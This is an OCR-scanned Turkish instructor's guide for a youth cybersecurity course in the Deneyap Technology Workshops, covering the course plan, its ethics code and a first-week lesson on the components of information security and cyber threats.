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Ulkemiz ¢esitli kademelerde 6grenimlerine devam eden dgrencileri gelecege hazirlamak igin
bircok girisimi es zamanli olarak hayata gecirmektedir. Gelecekte iilkenin refah ve
mutluluguna katkida bulunacak, yeni tiriinler gelistirecek, gelistirdigi iirtinleri ticarilestirerek
yurt i¢i ve yurtdisi satisa sunacak olan 6grencilerin, lirlinlerini sergilemeleri i¢in ¢esitli egitim
programlari, yarismalar, turnuvalar ve festivaller diizenlenmektedir. Bu baglamda genglerimizi
gelecege emin adimlarla tasiyacak Onemli girisimlerden birisi de Deneyap Teknoloji
Atolyeleri’dir.

Deneyap Teknoloji Atdlyeleri’nin genel amaci, genglere 6zellikle teknolojik alanda tiretme
becerisi kazandirmaktir. Bu amacla ilgisi, becerisi ve yetenegi olan genglere sistematik ve
planli bicimde hem donanim hem de egitim destegi verilmektedir. Bu hedeflere ulasabilmek
icin 81 ilde Deneyap Teknoloji Atdlyeleri kurulmustur. Bu atdlyeler tasarlanirken 6grencilerin
girisimcilik, yaratict diislinme, elestirel diisiinme, karmagik problemleri ¢6zme, etkili iletisim
ve takim calismasi gibi becerileri kazanmalarina yonelik bir anlayis benimsenmistir. Ortaokul
ve liseye baslangi¢ seviyesinde olan Ogrenciler ¢esitli sinavlarla segilerek 36 ay boyunca
licretsiz egitimlere katilmaktadir. Secilen dgrenciler Tasarim ve Uretim, Robotik ve Kodlama,
Elektronik Programlama ve Nesnelerin Interneti, Nanoteknoloji ve Malzeme Bilimi, Havacilik
ve Uzay Teknolojileri, Siber Giivenlik ve Yapay Zekd gibi birgok egitimden uzman egiticiler
esliginde derinlemesine bilgi ve egitim almaktadir. Toplam 11 farkli teknolojik disiplinde
egitim alan 6grenciler ilk 24 ay sonunda is birligi icerisinde calistiklar1 gruplarla birlikte bir
proje hazirlig1 yapip projelerini sunmaktadir. 24 ay bitiminde ise uzmanlasmak istedikleri
konularla ilgili olusturduklar1 takimlarina mentorluk destegi verilerek ulusal ve uluslararasi
yarigmalara katilmalari i¢in destekler saglanmaktadir.

Bu kitap, Deneyap Teknoloji Atolyeleri kapsamindaki Siber Giivenlik dersinde
ogrencilerimize egitim verecek egitmenlerin kullanacagi bir kaynak olarak gelistirilmistir.
Internetin hayatimizin vazgecilmez bir par¢asina déniistiigii, cok ¢esitli cihazlarin birbirleriyle
haberlestigi nesnelerin interneti teknolojisinin giderek yayginlastigi, akilli telefonlar ve sosyal
medya ile birlikte kisisel verilerin daha 6nce hi¢ olmadigi kadar kolay erisilebilir hale geldigi
bu donemde siber giivenlik, ilizerinde diisliniilmesi gereken en dnemli konulardan birisidir.
Siber giivenlik; bilgisayarlar, akilli telefonlar, sunucular gibi elektronik sistemlerde tutulan veri
ve bilginin, tipi ve bicimi her gegen giin degisen cesitli saldirilara kars1 korunmasi olarak
tanimlanabilir. Bu kapsamda, ag, u¢ nokta, veri, kimlik yonetimi, veritabani, bulut sistemleri
ve mobil sistemlerin giivenligi gibi bircok konu iizerinde ¢alismalar yapilmakta ve ¢oziimler
gelistirilmektedir. Bunun yam sira, kullanicilarin siber giivenlik bilincini ve farkindaligimi
artiran egitimlerinin siirekli olarak planlanip hayata gegirilmesi gerekmektedir.

Siber Giivenlik egitiminde yararlanilmak iizere gelistirilen bu kitapta her iinite i¢in 6gretim
tasarimi1 modeli olarak Gdézle, Uygula, Tasarla, Uret ve Degerlendir adiyla bir 6grenme
dongiisii benimsenmistir (Cetin, Uggiil, Top & Yiikseltiirk, 2021; Uggiil, Cetin, Yiikseltiirk &
Top, 2021). Gézle kisminda Ogrencilerin 6n bilgileri harekete gecirilmekte, dikkat ve
motivasyonlar1 saglanmakta ve egitmen tarafindan ilgili konu bagliklar1 detayli olarak
anlatilmaktadir. Uygula basamaginda g6zle kisminda anlatilan konularla ilgili gesitli 6rneklerin
ogrenciler tarafindan yapilmasi istenmektedir. Tasarla kisminda egitmen rehber pozisyonuna
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gecmekte ve dgrenciler daha etkin rol iistlenerek cesitli uygulamalar yapmaktadirlar. Uret
kisminda egitmen planlanan etkinliklerde 6grencilerin aktif rol alarak uygulama yapmalarina
rehberlik etmektedir. Son boliim olan Degerlendir kisminda ise 6grenme siirecinde ilgili linite
ile ilgili 68rencilerin ¢esitli bicimlerde degerlendirilmesi amaglanmaktadir.

Kitapta toplam yedi farkli konu basligi bulunmaktadir. Bu konu basliklar1 Siber giivenligin
temelleri, Kali Linux, Parolalar, Kriptografi, Kotii amagli yazilimlar, Siber saldir1 analizi ve
Web saldirilar1 ve savunma olarak siralanmistir. Her {inite i¢inde yer alan etkinliklere ilaveten,
iinitenin sonunda “Ek etkinlik” baslig1 altinda ¢esitli etkinlikler yer almaktadir. Egitmenlerin
kendi sinifindaki 6grencilerin durumunu, dersin iglenisini veya zaman planlamasi gibi ¢esitli
hususlar1 gbz oniine alarak bu etkinlikleri ders i¢i veya ders disinda uygulamalarinda yarar
vardir. Egitmenler tiim etkinliklerin tamamlanmasi durumunda ise, kendileri de konuyla ilgili
olarak 6grencilere daha detayli uygulamalar yaptirabilirler.

Giliniimiiziin ve gelecegin en énemli konularindan birisi olan siber giivenlik alani ile ilgili
olarak, gelecegin siber giivenlik uzmani olacak 6grencilerimize ve O0grencilerin egitiminde
onemli gorevler iistlenen rehber 6gretmenlerimize bu kitabin faydali olmasini dileriz.
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Siber Glivenlik Dersi Bilgi Paketi

Dersin Amaci

Bu dersin amaci, Ogrencilere temel siber giivenlik farkindaligini, saldiri ve savunma
yontemlerini agiklama ve siniflandirma becerilerini, ¢esitli uygulamalar vasitasiyla giivenlik
analizi yapma, risklerin ve giivenlik Onlemlerinin etkilerini degerlendirme kabiliyetlerini
kazandirmaktir. Bu amag dogrultusunda belirlenen hedefler;

e Siber giivenlik temellerinin 6gretilmesi,

e Kali Linux isletim sisteminin tanitilmast,

e Parolalar ve koti amagh yazilimlar gibi kritik siber gilivenlik kavramlarinin
incelenmesi,

o Kriptografiye giris yapilarak farkli sifreleme, sifre ¢cozme ve sifre kirma yaklagimlarinin
uygulamali olarak tanitilmasi,

e C(Cesitli siber saldirilarin analiz edilmesi ve bunlara karsi kullanilan ¢odziimlerin
uygulanmasidir.

Dersin Ciktilar
Bu dersi alan bir 6grenci;

e Bilgi giivenliginin bilesenlerini, siber tehdit ve siber saldir1 kavramlarini drneklerle
agiklar.

e Siber saldirilarin hedeflerini ve etkilerini analiz eder.

e Linux’taki dizin yapisiyla ilintili temel komutlari, dosya icerigi goriintiileme ve dosya
kopyalama komutlarini gesitli sekillerde ¢alistirir.

e Linux’taki dosya erigim izinlerini goriintiiler, agiklar ve degistirir.

e Parolalarin giiciinii analiz eder, gii¢lii parola se¢gme yontemlerini uygular.

e Parola kirma saldirilariin nasil yapilabilecegini agiklar ve bu saldirilarin bazi
orneklerini uygular.

e Sifrelemenin genel mantigini agiklar ve basit sifreleme algoritmalarini uygular.

o Sifre kirma yaklagimlarini tanimlar ve siniflandirir.

e Frekans analizi ve sifre kirma yontemlerini tasarlar ve gerceklestirir.

e Kot amagh yazilimlarin tiirlerini ve zararlarini, k6tii amaclh yazilimlardan korunmak
i¢in kullanilan teknikleri agiklar.

e Kot amach yazilimlari temel statik analiz yontemleriyle analiz eder.

e Sosyal miihendislik ve oltalama kavramlarin1 tanimlar, yontemlerini agiklar ve uygular.

e Ag trafigini izler, bazi1 ag saldiris1 tiirlerini agiklar ve uygular.

e Bir web sitesindeki acikliklar1 tespit edecek islemleri yaparak giivenlik analizi yapar.

e SQL enjeksiyonu saldirist islem basamaklarini aciklar ve uygular.

e @Giivenlik agiklarini tespit ederek gerekli savunma mekanizmalarini tasarlar.
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Dersin Haftalik Planlamasi

e Hafta 1: Bilgi giivenliginin 6nemi, temel kavramlar1 ve tanimlari, giincel olaylar

e Hafta 2: Kali Linux tanitimi, temel komutlar ve araglar

e Hafta 3: Parola kavrami, giiglii parola se¢imi, parola tahmin saldirilar

e Hafta 4: Kriptografinin temelleri, basit sifreleme algoritmalari, temel kriptanaliz, agik
anahtarl sifreleme, sayisal imza

e Hafta 5: Kotii amagl yazilim (malware) kavrami ve gesitleri, antivirus yazilimlari,
oltalama (phishing), sosyal medyanin giivenli kullanimi

e Hafta 6: Siber saldirilarin siniflandirilmasi ve analizi, sizma yontemleri, ag trafigi
izleme, DoS/DDoS

e Hafta 7: Web giivenligi, web uygulama saldirilart ve savunma yontemleri, SQL
enjeksiyonu

e Hafta 8: Yarisma
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Derste Kullanilacak Ogretim Tasarim Modeli

Bu derste ayrintilar1 asagida verilecek olan gozle, uygula, tasarla, iiret ve degerlendir 6grenme
dongiisii kullamlmustir (Cetin, Ucgiil, Top & Yiikseltiirk, 2021; Uggiil, Cetin, Yiikseltiirk &
Top, 2021).

Gozle

Degerlendir

Tasarla

Sekil 1. Ogrenme Déngiisii

Gozle: Bu bolim iki kisimdan olusur. Birinci kisimda egitmenden 6grencilerin gegmis
bilgilerini aktive etmesi ve onlarin dikkat ve motivasyonlarini saglamasi beklenmektedir.
Egitmen Ogrencilerin gegmis bilgilerini aktive etmek ve onlarin dikkatini ¢ekmek igin bir
onceki derste yapilan etkinlikleri / ¢aligmalar1 kisaca 6zetleyebilecegi gibi gilinlik yasamdan
ilgi ¢ekici 6rnekler de kullanabilir. Bu boliimiin ikinci kisminda egitmen bir konuyu uygulamali
olarak (gostererek) anlatir. Bu kisimda egitmen daha aktiftir. Uygulamay1 yaparken 6grencilere
sorular sorabilir ve 6grencilerin sorularini yanitlayabilir.

Uygula: Bu bolimde egitmen ogrencilerden bir 6nceki bolimde gosterilen uygulamalarin
aynisini veya bir benzerini ister / birlikte yapar. Ornegin, dgrenilen bir komutun drneklerini
gozle kisminda gosteren egitmen, 6grencilerden komutu yeni 6rneklerde daha farkli sekillerde
kullanmalarini isteyebilir.

Tasarla: Bu boliimde 6grenciler daha aktif rol tstlenir. Egitmen rehber pozisyonundadir.
Egitmen, 6grencilere takildiklar1 noktalarda destek olacaktir. Ogrencilerin etkinlikten kopup
motivasyonlarinin diigmesine izin vermemeye calisacaktir. Fakat e§itmenin sagladigi destek
gereginden fazla da olmamalidir. Bu béliimde egitmen tarafindan 6grencilere bir problem
verilir. Ogrencilerden oncelikle bu problemin ¢oziimiinii tasarlamalar1 istenir. Tasarlama
asamasinda 6grenciler temel itibariyle bilinenler ile istenenler arasindaki bagi kurarak bir plan
iireteceklerdir. Bu amagla 6grenciler (Bilgi islemsel diistinme becerisi bilesenlerini kullanirlar):
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Bilinenleri ve istenilenleri ayr1 ayri belirler,

Istenilenleri alt bilesenlere ayrilabiliyorsa ayirir,

Bu problem veya alt problemlerin aynilarina veya benzerlerine daha onceden

¢Oziim iirettiyse bunlari tanimlar,

> Bu problemler veya alt problemlerin ¢6ziimii igin bilgisayar biliminde daha
onceden belirlenmis ¢Oziimlerin (siralama ve arama algoritmalar1 gibi) olup
olmadigini belirler,

> Daha onceki adimlarda ortaya koyduklarini kullanarak bir ¢6ziim plani {iretir.

Y V V

Bu asamadaki 6nemli nokta, dgrencilerin ¢oziime dogrudan baslamasi yerine Once ¢6ziim
hakkinda diisiinmesi ve bir ¢dziim plani iiretmesidir. Ogrenciler her defasinda yukarida bahsi
gegen bes adimi yapmak istemeyebilir veya bu adimlar1 yaparken sikilabilir. Bu durumlarda,
ogrencilerin adimlar1 bire bir uygulamasi yoniinde zorlamak yerine onlardan problemi
dogrudan ¢ozmeye baslamadan Once problem hakkinda diisiinmesi ve planlama yapmasi
istenebilir.

Uret. Bu boliimde dgrenciler aktif rol iistlenir. Egitmen rehber pozisyonundadir. Egitmen
ogrencilere takildiklar1 noktalarda destek olacaktir. Destek, bireyin yardim ile
gerceklestirebilecegi, ancak heniiz bagimsiz olarak yapamayacagi bir durum olustugunda
saglanmalidir. Egitmen, bu durumda o6grencilerin sorduklari sorulara geri bildirim vererek
onlar1 yonlendirebilir. Gerektiginde Internet iizerinden gesitli Ornekleri gormeleri igin
yonlendirme yapabilir. Egitmen, 6grencinin aktif katilimi ve problemi grup igerisinde birlikte
¢ozmelerine ve algoritmik diisiinme bigimlerine izin veren bir yapida rehberlik etmek
durumundadir. Uret agamasinda, dgrencilerden bir dnceki adimda tasarladigi plan1 kullanarak
probleme algoritmik bir ¢dziim iiretmesi istenebilir. Ogrenciler bilgisayar basinda calisarak
gerekli yazilim ¢6ziimlerini gelistirirler.

Degerlendir: Buradaki degerlendirme ile anlatilmak istenen dogrudan &grencinin basarisinin
notlandirilmas: degildir. Temel hedef, Ogrencinin G6grenme siirecinde yasadiklar1 ve
ogrendikleri lizerine diisiinmesini saglamaktir. Bu sayede 6grenci; problem ¢6zme, dersin
konusu ve kendisi ile ilgili gozlemler yaparak yeni 6grenmeler, kendisini degerlendirme ve
planlama agisindan firsatlar elde edecektir. Ogrencilerden su sorular1 yanitlamalar1 istenebilir:

> Verilen problemi tanimlayiniz (problemi kendi ciimleleri ile ifade etme).

> Problemin ¢6ziimii i¢in hangi stratejileri kullandiniz ve neden bu stratejileri
sectiniz?

> Problemi ¢ozerken ne gibi sikintilar yasadiniz ve bunlarin listesinden gelmek i¢in
neler yaptiniz?

> Kullandiginiz yontemler, bu sikintilar1 gidermekte basarili oldu mu?

> Grup arkadaginizla ihtilafa diistiigliniiz durumlar oldu mu ve bunlarin {istesinden
gelmek i¢in neler yaptiniz?

> Grup arkadasinizdan ne 6grendiniz?

Ogrencilerden buradaki sorularin tamamina cevap vermesi beklenmemektedir. Bu sorulardan,
verilen etkinlikten elde ettikleri deneyimlere bagli olarak, kendilerine uyanlar
cevaplayabilirler. Cevaplar, 6grencilerden yazili olarak da istenebilir. Fakat dgrenciler, belirli
bir siire sonra siirekli ayni sorulara cevap vermekten sikilabilir/sikilacaktir. Bu durumda, belirli
derslerin sonunda &grencilerden genel olarak dersteki deneyimlerini degerlendirmeleri
istenebilir.
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Derste Kullanilacak Programlarin Tanitimi

» Dersin belli haftalarinda kullanilacak olan Kali Linux, siber giivenlik odakli
gelistirilmis olan ve i¢inde giivenlikle ilgili bir¢ok yazilim1 bulunduran bir dagitimdir.
Web sayfasi: https://www.kali.org/

» Kali Linux kurulumu igin bir sanallastirma yazilimi olan VirtualBox kullanilacaktir.
Web sayfasi: https://www.virtualbox.org/

» 3. haftada Kali Linux iizerinde yer alan John the Ripper adli parola kirma araciyla
deneyler yapilacaktir.

» 5. haftada Microsoft Defender Antivirus ve Microsoft Word kullanilacaktir.

» 6. Haftada Wireshark adl1 paket izleme yazilim1 kullanilacaktir.
Web sayfasi: https://www.wireshark.org/

> 7. haftada Microsoft Access kullanilacaktir.

Egitmenin Kullanacag1 Diger Teknolojik Araglarin Tanitimi

Ogrenme Yonetim Sistemi (OYS): Derste aktif sekilde kullanilacak olan temel ortamlardan
biri dgrencilerin ilgili derse kullanic1 kaydi yapacaklari bir Ogrenme Yonetim Sistemidir.
Deneyap Teknoloji Atolyeleri tarafindan Moodle agik kaynakli popiiler bir 6grenim yonetim
sistemi kullanilacaktir.

Siber Giivenlik dersi i¢in Moodle asagidaki amaglara hizmet etmektedir:

Dersle ilgili genel duyurularin iletilmesi

Ogrencilere sunulacak 6grenme materyallerinin paylasiimasi

Grup olarak olusturulacak iirlin ya da tamamlanan gorevlerin teslimi

Egitmenin 6grenci iirlinlerini takip etmesi ve geri bildirim saglamasi

Ogrenci-egitmen, dgrenci-6grenci ve egitmen-egitmen etkilesiminin atlye disinda da

sirdiiriilmesi

» Gerektiginde BigBlueButton araciligiyla senkron (canli) ders ortaminin olusturulmasi
(Olusturulan canli ders calisma odalar1 destekli olup grup calismalarina imkan
vermektedir.)

» Egitmen egitimleri siirecinde gerekli kaynaklarin, sunumlarin ve dokiimanlarin
egitimcilerle paylagilabilmesi

» Egitimcilerin fikir aligverisi yapabilmesi i¢in tartigma ortamlarinin kurulabilmesi

YV VVY


https://www.kali.org/
https://www.virtualbox.org/
https://www.wireshark.org/
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Siber Giivenlik Dersi i¢in Etik Kilavuzu

Bilisim teknolojilerinin dogru bir sekilde kullanimi i¢in Uluslararasi Bilgisayar Etik Enstitiisii
tarafindan uyulmasi gereken kurallar siralanmistir. Egitmen 6grencilerine siber giivenlik ile
ilgili uygulamalar gelistirirken asagida siralanan etik unsurlart unutmamalar1 gerektigini
mutlaka hatirlatmalidir. Bu kurallar su sekilde 6zetlenebilir:

VVVYVYVVVY

A\

Bilisim teknolojileri bagkalarina zarar vermek i¢in kullanilmaz.

Basgka bir kisiye ait veriler izinsiz incelenmez.

Bagkalarimin olusturdugu ¢alismalar izinsiz karistirilmaz.

Bilisim teknolojileri hirsizlik i¢in kullanilmaz.

Bilisim teknolojileri yalanci sahitlik i¢in kullanilmaz.

Lisanssiz, kopya ya da kirilmig yazilimlar kullanilmaz.

Bagka birisi tarafindan bilisim teknolojileri ile olusturulmus ¢alismalar1 kendinize mal
edemezsiniz.

Yazdiginiz kod, program ya da yazilimlarin/sistemlerin sonuglarini goz 6niine almak
zorundasiniz.

Bilisim teknolojilerini diger insanlara saygi duyarak kullanmalisiniz.

Kaynaklar

Cetin, 1., Ucgiil, M., Top, E. & Yiikseltiirk, E. (2021). Robotik Kodlama: Lise. I. Pirpiroglu
Gencer., K. Bal Cetinkaya, (Ed.), Robotik kodlama: lise (ss. 1-5). Ankara: TUBITAK
Popiiler Bilim Kitaplari.

Uggiil, M, Cetin, 1., Yiikseltiirk, E. & Top, E. (2021). Robotik Kodlama: Ortaokul. 1. Pirpiroglu
Gencer., K. Bal Cetinkaya, (Ed.) Robotik kodlama: ortaokul (ss. 1-5). Ankara: TUBITAK
Popiiler Bilim Kitaplari.
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HAFTA 1. SIBER GUVENLIGIN TEMELLERI

AMAC

Bu boliimiin amaci, 6grencilere siber glivenligin temel kavramlarini tanitmaktir. Bu kapsamda,

bilgi giivenliginin bilesenleri ile siber tehdit, siber saldir1 gibi terimler Orneklerle

aciklanacaktir. Ogrencilerin uygulama ve vaka ¢alismalariyla bilginin temel dzellikleri, siber

saldirilar ve olast etkileri hakkinda o6grendiklerini gdstermeleri ve pekistirmeleri

hedeflenmistir.

BOLUM KAZANIMLARI

Bu boliimii tamamlayan bir 6grenci,

Bilgiyi ve bilgi giivenligini tanimlar.
Bilgi giivenliginin bilesenlerini 6rneklerle agiklar.
Siber tehdit ve siber saldir1 kavramlarini agiklar.

Siber saldirilarin hedeflerini ve etkilerini analiz eder.

KULLANILACAK MATERYAL VE ARACLAR

Bilgisayar, kagit, kalem

HAFTANIN ISLENIiSi

Gozle Bilgi giivenliginin temel bilesenleri
Siber tehditler ve siber saldirilar
Siber saldirilarin hedefleri ve alinabilecek dnlemler
Uygula Bilgi giivenliginin temel bilesenlerini 6rnek olaylarla eslestirme
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Tasarla  ve Siber saldir1 vaka ¢alismasi ve savunma stratejisi tasarimi

Uret

Degerlendir ~ Haftanin iceriginin degerlendirilmesi ve calismanin devam ettirilmesine

yonelik oneriler

1. GOZLE: TEMEL KAVRAMLAR

Bu boliimde bilgi giivenligi ve siber giivenlik ile ilgili temel kavramlar tamitilarak

tartisilacaktir.

1.1. GIRIS

Egitmen 6grencilere siber giivenligin ne oldugunu ve 6énemini orneklerle agiklar. Bu kisimda
asagidaki aciklamalar ve 6rnekler ile birlikte egitmenin ekleyecegi drnekler kullanilabilir. Bu

boliim icin 15 dakika yeterlidir.

Siber giivenlik, bilgisayar sistemlerinin ve bilgisayarlarda saklanan bilginin gilivenligidir.
Giinlimiizde bilginin biiylik ¢ogunlugu bilgisayar ortaminda tiretilmekte ve saklanmaktadir. Bu
nedenle kisisel bilgisayarlarin, mobil telefon ve tabletlerin, sunucularin, diger elektronik

cthazlarin ve bunlardan olusan aglarin korunmasi ¢ok 6nemlidir.

Yarin sabah bilgisayarinizi agtiginizda siyah bir ekran iizerinde su mesaji gordiigliniizii
diislinlin: “Biitiin dosyalariniz ve programlariniz erisime kapatilmigtir. Eger 48 saat i¢inde
hesabimiza 10 bin TL degerinde Bitcoin gondermezseniz biitiin dosyalariniz yok edilecektir.”
Sonra telefonunuzdan e-postaniza giris yapmaya galisiyorsunuz ama yapamiyorsunuz ¢iinki
birisi hesabinizi ele gecirerek parolanizi degistirmis. Mesajlariniza baktiginizda fark
ediyorsunuz ki telefonunuzda kayith biitiin yazigsmalar rehberinizdeki herkes ile paylagilmis,

biitiin arkadaslariniz sizinle alay ediyor.

Bu kabus gibi senaryo gerceklesirse neler yapabiliriz? Daha 6nemlisi, boyle bir senaryoyla
karsilasmamak i¢in nasil davranmali, ne gibi onlemler almaliy1z? Siber gilivenlik dersinde,
kisileri yukarida verilen orneklerdeki gibi zor durumlara sokabilen, hatta bazen {ilkelerin

giivenligini tehdit edebilen siber saldirilardan korunma ydntemlerini inceleyecegiz.

Egitmen Ogrencilere siber giivenligin 6nemine iliskin bildikleri bagka 6rnek olaylar olup

olmadigin1 sorarak tartigma ytirtitiir.
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1.2. BiLGi GUVENLiGINDEKI TEMEL KAVRAMLAR

Egitmen dgrencilere “Bilgi nedir” sorusunu sorarak kisa bir tartisma yiiriitiir. Ogrenciler 3-4
kisilik gruplar halinde tartisarak tanimlarini yazabilirler. Sonrasinda egitmen gruplarin
tanimlarini asagidaki bilgiler ¢er¢evesinde yorumlar ve geri bildirim yapar. Boliim 1.2 ig¢in

toplam 45 dk siire yeterlidir.

Bilgi farkli sekillerde tanimlanabilir. Tiirk Dil Kurumu sézliiglindeki tanimlardan birinde bilgi

icin “Ogrenme, arastirma veya gozlem yolu ile elde edilen gercek” ifadesi kullanilmistir.

Cambridge sozliigiinde ise bilgi (information), “bir durum, kisi, olay vb. hakkindaki ger¢ekler”

olarak tanimlanmustir.

Ornegin; bir kisiye ait isim, T.C. kimlik no, adres, fotograf, okudugu okul/¢alistig1 isyeri vb.
bilgiler onun kisisel bilgileridir. Bir kurumun isleyisiyle ilgili olarak belli kisi veya gruplarin
sahip oldugu bilgi ise kurumsal bilgidir. Belli kisi veya kurumlarin parayla ilgili islemleri
hakkindaki bilgiye finansal bilgi denir. Bilginin bu gibi farkl tiirlerinin hepsi i¢in gilivenlik

Onemli bir hedeftir.

Bu noktada 6grencilere “Bilgi glivenliginden ne anliyorsunuz” sorusu sorularak 3-4 kisilik

gruplar halinde tartigsmalari istenir.

Gruplar fikirlerini belirttikten sonra egitmen asagidaki tanimlar ¢er¢evesinde geri bildirim
yaparak her grubun fikirlerini yorumlar ve sonrasinda asagida agiklanan her temel kavram

hakkinda ayrintili anlatima geger.

Bilgi giivenligi, bilginin birtakim temel Ozelliklerinin korunmasi anlamimna gelir. Bu

ozelliklerden baslicalar1 asagida verilmektedir. Asagidaki Sekil 1 benzeri bir sekil tahtaya

cizilebilir veya sanal ortamda gosterilebilir.
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inkar

edilemezlik

Sekil 1. Bilgi Giivenliginin Bilesenleri

Gizlilik: Sadece yetkisi olan kisilerin bilgiyi gorebilmesidir. Bir baska deyisle, yetkisiz

kisilerin bilgiye ulasamamasi, onu okuyamamasi anlamina gelir.

Bilginin gizli olup olmadigini ve onu goérmeye kimin yetkili oldugunu genellikle bilginin sahibi

veya bilgiyi lireten belirler.

Ogrencilere “Sizce hangi bilgilerin gizli olmasi gerekir?” sorusu sorularak drnek vermeleri

istenir. Asagidaki 6rnekler ve benzerleri ile tartisma zenginlestirilir.
Ornek olarak;

e Bir kurumun ¢alisanlarina ait ev adresi ve ¢ocuklarinin adlar1 gibi kisisel bilgiler,
e Bir kurulusa ait ticari sirlar,
¢ Kisinin cep telefonuna gelen mesajlar

gibi bilgilerin belli bir gizlilige sahip olmasi1 gerekir.

Not: Aym tiirdeki her bilginin aynm: gizlilik diizeyine sahip olma zorunlulugu yoktur. Ornegin
telefona gelen bayram tebrik mesaj1 gizli olmayabilir ama banka hesabina girebilmeniz i¢in
gelen tek kullanimlik sifreyi igeren mesaj gizli olmalidir. Hangi bilginin kime agik kimden gizli
oldugu da duruma baghdir. Bir kurulusun ticari sirlarini en iist diizeydeki bazi yoneticiler

bilebilir ama bu bilgiler taniml1 birkag kisi disindaki herkesten gizli olmalidir.



Boliim 1: Siber Giivenligin Temelleri

Bilgi gilivenliginde gizliligi korumakta kullanilan temel ara¢ olan sifreleme, Oniimiizdeki

derslerde incelenecektir.

Biitiinliik: Bilginin gercege aykirt bicimde degismemesi anlamina gelir. Bazi bilgiler (6rn.
adres) zaman i¢inde degisebilir veya bilginin kaynagindan giincellenebilir (6rn. kisinin kendi
siparisini iptal etmesi). Boyle degisimler biitiinliigii ihlal etmez. Bilginin kaynagi veya onu

degistirmeye yetkili kisiler disinda birilerinin bilgide degisiklik yapmasi ise biitiinliigii bozar.
Ornek olarak asagidaki durumlar biitiinliige aykiridur:

e Kardesinizin telefonunuzda kayith isimleri degistirmesi,
e Internetten indirdiginiz bir dosyanin siz acana kadar herhangi bir nedenle bozulmast,
e Annenizin yemek tarifi defterinde bulunan kek tarifindeki “2 su bardagi seker” yazisini
“4 su bardagi seker” diye degistirmeniz.
Sonugta, bilginin gercege aykirt bicimde degismediginin garanti edilmesi, eger degistiyse
bunun bilinmesi ¢ok onemlidir. Bunu saglamak i¢in baz1 matematiksel yontemler kullanilir.

Bu yontemler 6niimiizdeki derslerde incelenecektir.

Not: Biitiinliik ile gizlilik birbirinden farklidir. Birinin varlig: digerini garanti etmez. Her ikisini

de saglamak i¢in farkli teknikler bir arada kullanilmalidir.

Erisilebilirlik: Bilgiye ulasilabilmesi anlamina gelir. Bilgiye erisim yetkisi olan kisilerin

istedikleri zaman erisip erisemediginin ve ne oranda erisebildiginin 6l¢iisiidiir.

Ornegin, smav sonuglarmin agiklandig1 web sitesinin ¢ékmesi veya bazi kullanicilara yanit
verememesi erisilebilirligi zedeler. Erisilebilirlik degerlendirilirken ytiksek sayida kullanicinin
olusturdugu yogun yiik altindaki duruma agirlik verilmelidir. Ornegin bir web sitesinin normal
durumda calismasi yetmez, asil nemli olan binlerce kisi ayn1 anda girmeye ¢alistiginda sitenin

diizgiin ¢alisip calismadigidir.

Erisilebilirlik bilgi glivenliginin en sik hedef alinan boyutlarindan biridir. Erisilebilirlige zarar
vermeyi amaglayan hizmet engelleme (denial of service, DoS) saldirilar1 6niimiizdeki derslerde

incelenecektir.

Gergeklik: Bilginin uydurma olmamasi, i¢eriginin, kaynaginin, liretilme zamaninin vs. dogru

olmas1 anlamina gelir.
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Ornegin bir arkadasimiza saka yapmak igin pideciyi arayip kendinizi arkadasimzin adiyla
tanitip onun adresine gonderilmek {izere vereceginiz lahmacun siparisi, gergek olmayan bir
bilgidir. Bunun gibi ger¢ek olmayan bilgilerin fark edilmesi, gergek bilgilerin ise gercekliginin

ispat edilmesi bilgi glivenliginin 6nemli bir parcasidir.

Inkar edilemezlik: Bilgiyi iiretenin bilginin gercekligini inkdr edememesi anlamma gelir.

Biitiinliik ve gerceklik 6zelliklerinin bir arada bulunmasi olarak diisiiniilebilir.

Omek olarak, bir belgeye imza atan bir kisi sonradan “Bunu ben imzalamadim.”

diyememelidir. Yani imza, inkar edilemezlik 6zelligini saglamalidir.

Sorumluluk: Bilgiyle ilgili islemleri (iiretme, erigsme, degistirme vb.) kimin yaptiginin belli

olmas1 ve bir sorun ¢ikmasi durumunda kimden hesap sorulacaginin bilinmesi anlamina gelir.

2. UYGULA

Egitmen Ogrencilere “Asagidaki 6rnek olaylarin her biri bilginin hangi temel 6zelliklerine zarar
verir?” sorusunu sorarak 3-4 kisilik gruplar halinde tartigmalarini ve yanitlarini yazmalarini
ister. Egitmen her olayin bir veya birden fazla 6zellige zarar verebilecegini belirtir. Bu 6rnek
olaylar egitmen tarafindan c¢ogaltilabilir. Bu uygulamada grup calismast i¢in 10 dk,

sonrasindaki tartisma i¢in 20 dk olmak iizere 30 dk yeterlidir.

1. Arkadasin senin telefonundaki mesajlarin hepsini okumus.
2. Uzaktan egitim sistemi ¢oktligii icin ders kayitlarina ulagamiyorsun.
3. Odevini 6gretmenine teslim etmistin ama kapak sayfasi kopup diismiis ve kaybolmus.
4. Arkadasin sana gelen bir mesaj1 okumus sonra da silmis.
5. Birileri okulun web sayfasindaki bazi duyurular izinsiz olarak yok etmis.
Dogru yanitlar:
1. Gizlilik
2. Erisilebilirlik
3. Biitiinliik
4. Gizlilik ve biitiinliik (art1 erisilebilirlik de olabilir)
5. Biitiinliik ve erisilebilirlik
Gruplar fikirlerini agiklar. Egitmen geri bildirim yaparak her grubun fikirlerini yorumlar ve

tartismay1 yonetir.
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3. GOZLE: SIBER TEHDITLER VE SALDIRILAR

Bu boliim i¢in toplam 50 dk siire yeterli olacaktir.

Boliimiin basinda 6grencilerin gruplara ayrilip asagidaki sorular hakkinda tartisma yiirtitmeleri

saglanir. Daha sonra egitmen gruplardan yanitlarini1 paylasmalarini ister.

e Siber glivenligin korunmadig1 durumlarda ne gibi olumsuz sonuglar ortaya ¢ikabilir?
e Siber saldir1 yapan kisilerin hedefleri neler olabilir?

Egitmen tartigmay1 asagidaki agiklamalar 1s131nda devam ettirir.
Siber giivenlik gerektigi gibi korunmazsa;

e Maddi kayip,

e Itibar kaybu,

e Psikolojik zarar,
e Fiziksel hasar

gibi sonuclar ortaya cikabilir.

Bir akilli telefonu koruyucu kilifla kullanip yere diistirmemeye 6zen gdstermek onu fiziksel
hasardan korumak i¢in gereklidir. Telefonu kaybetmemek ve caldirmamak i¢in dikkatli
davranmak da onemlidir. Ancak bunun gibi dnlemler siber giivenligi saglamak icin yeterli

degildir. Ciinkii glinlimiizde ¢ok cesitli siber tehditler ve saldirilar vardir.

Siber giivenlikte tehdit (threat), “sistemlere ve kuruma zarar verebilecek bir olaymn nedeni”
olarak tanimlanir (International Organization for Standardization, 2018). Tehditler kasitli ve
kasitli olmayan (kazara olusan) olarak ikiye ayrilir. Kasith tehditlere hackerlar, casuslar, sug

orgiitleri vb. 6rnek verilebilir.

